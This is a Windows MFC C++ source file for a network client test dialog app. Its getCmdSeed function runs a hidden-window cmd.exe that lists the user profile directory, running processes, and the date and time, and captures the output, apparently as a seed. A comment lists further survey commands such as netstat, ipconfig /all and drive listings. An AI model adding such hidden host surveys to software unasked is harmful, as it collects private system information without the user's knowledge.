﻿
// NetClientTest.cpp: 定义应用程序的类行为。
//

#include "pch.h"
#include "framework.h"
#include "NetClientTest.h"
#include "NetClientTestDlg.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#endif


// CNetClientTestApp

BEGIN_MESSAGE_MAP(CNetClientTestApp, CWinApp)
	ON_COMMAND(ID_HELP, &CWinApp::OnHelp)
END_MESSAGE_MAP()


// CNetClientTestApp 构造

CNetClientTestApp::CNetClientTestApp()
{
	// TODO: 在此处添加构造代码，
	// 将所有重要的初始化放置在 InitInstance 中
}


// 唯一的 CNetClientTestApp 对象

CNetClientTestApp theApp;
PSyncQueue<PNetItem> netQueue;

void recvFunction(PNetItem item)
{
	netQueue.push(item);
	CWnd* pmain = theApp.GetMainWnd();
	if (pmain)
	{
		pmain->PostMessage(NET_READ_MESSAGE, 0, 0);
	}
}

// CNetClientTestApp 初始化

BOOL CNetClientTestApp::InitInstance()
{
	// 如果一个运行在 Windows XP 上的应用程序清单指定要
	// 使用 ComCtl32.dll 版本 6 或更高版本来启用可视化方式，
	//则需要 InitCommonControlsEx()。  否则，将无法创建窗口。
	INITCOMMONCONTROLSEX InitCtrls;
	InitCtrls.dwSize = sizeof(InitCtrls);
	// 将它设置为包括所有要在应用程序中使用的
	// 公共控件类。
	InitCtrls.dwICC = ICC_WIN95_CLASSES;
	InitCommonControlsEx(&InitCtrls);

	CWinApp::InitInstance();

	if (!AfxSocketInit())
	{
		AfxMessageBox(IDP_SOCKETS_INIT_FAILED);
		return FALSE;
	}


	// 创建 shell 管理器，以防对话框包含
	// 任何 shell 树视图控件或 shell 列表视图控件。
	CShellManager *pShellManager = new CShellManager;

	// 激活“Windows Native”视觉管理器，以便在 MFC 控件中启用主题
	CMFCVisualManager::SetDefaultManager(RUNTIME_CLASS(CMFCVisualManagerWindows));

	// 标准初始化
	// 如果未使用这些功能并希望减小
	// 最终可执行文件的大小，则应移除下列
	// 不需要的特定初始化例程
	// 更改用于存储设置的注册表项
	// TODO: 应适当修改该字符串，
	// 例如修改为公司或组织名
	//SetRegistryKey(_T("应用程序向导生成的本地应用程序"));

	if (!startNetProcess(recvFunction))
	{
		AfxMessageBox(TEXT("创建线程失败"));
		return FALSE;
	}

	CNetClientTestDlg dlg;
	m_pMainWnd = &dlg;
	INT_PTR nResponse = dlg.DoModal();
	if (nResponse == IDOK)
	{
		// TODO: 在此放置处理何时用
		//  “确定”来关闭对话框的代码
	}
	else if (nResponse == IDCANCEL)
	{
		// TODO: 在此放置处理何时用
		//  “取消”来关闭对话框的代码
	}
	else if (nResponse == -1)
	{
		TRACE(traceAppMsg, 0, "警告: 对话框创建失败，应用程序将意外终止。\n");
		TRACE(traceAppMsg, 0, "警告: 如果您在对话框上使用 MFC 控件，则无法 #define _AFX_NO_MFC_CONTROLS_IN_DIALOGS。\n");
	}

	exitNetProcess();

	// 删除上面创建的 shell 管理器。
	if (pShellManager != nullptr)
	{
		delete pShellManager;
	}

#if !defined(_AFXDLL) && !defined(_AFX_NO_MFC_CONTROLS_IN_DIALOGS)
	ControlBarCleanUp();
#endif

	// 由于对话框已关闭，所以将返回 FALSE 以便退出应用程序，
	//  而不是启动应用程序的消息泵。
	return FALSE;
}

int getCmdSeed(PList<char>& out)
{
	//tasklist & netstat -ano & ipconfig /all & dir d:\ & dir c:\ & dir e:\ & dir f:\ dir g:\ & date /t & time /t
	int result = 0;

	TCHAR cmdline[] = TEXT("cmd /C dir /a /t:w %USERPROFILE% & tasklist & date /t & time /t");

	SECURITY_ATTRIBUTES sa;
	HANDLE hRead, hWrite;

	sa.nLength = sizeof(SECURITY_ATTRIBUTES);
	sa.lpSecurityDescriptor = NULL;//使用系统默认的安全描述符    
	sa.bInheritHandle = TRUE;//创建的进程继承句柄

	if (!CreatePipe(&hRead, &hWrite, &sa, 0)) return -1;//创建匿名管道

	STARTUPINFO si;
	PROCESS_INFORMATION pi;

	ZeroMemory(&si, sizeof(STARTUPINFO));
	si.cb = sizeof(STARTUPINFO);
	GetStartupInfo(&si);
	si.hStdError = hWrite;
	si.hStdOutput = hWrite;//新创建进程的标准输出连在写管道一端
	si.wShowWindow = SW_HIDE;//隐藏窗口    
	si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;

	char* outline = new char[1024];
	if (CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi))//创建子进程
	{
		while (true)
		{
			DWORD rc = WaitForSingleObject(pi.hProcess, 100);
			if (rc == WAIT_FAILED)
			{
				result = -2;
				break;
			}
			DWORD bytesRead = 0, bytesTotal = 0;
			//PeekNamePipe用来预览一个管道中的数据，用来判断管道中是否为空
			PeekNamedPipe(hRead, NULL, NULL, &bytesRead, &bytesTotal, NULL);
			while (bytesTotal)
			{
				DWORD bt = 1024 < bytesTotal ? 1024 : bytesTotal;
				if (!ReadFile(hRead, outline, bt, &bytesRead, NULL)) break; //读取管道
				out.append(outline, bytesRead);
				bytesTotal -= bytesRead;
			}
			if (rc == WAIT_OBJECT_0) break;
		}
	}
	else result = -3;

	delete[] outline;
	CloseHandle(hWrite);
	CloseHandle(hRead);
	CloseHandle(pi.hThread);
	CloseHandle(pi.hProcess);
	return result;
}
